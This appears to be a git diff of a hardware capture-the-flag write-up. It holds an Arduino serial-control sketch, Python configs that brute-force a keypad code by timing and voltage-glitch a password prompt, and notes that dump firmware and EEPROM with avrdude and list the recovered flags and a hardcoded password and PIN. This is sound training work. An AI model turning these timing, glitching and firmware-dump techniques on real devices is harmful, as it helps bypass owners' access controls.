+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
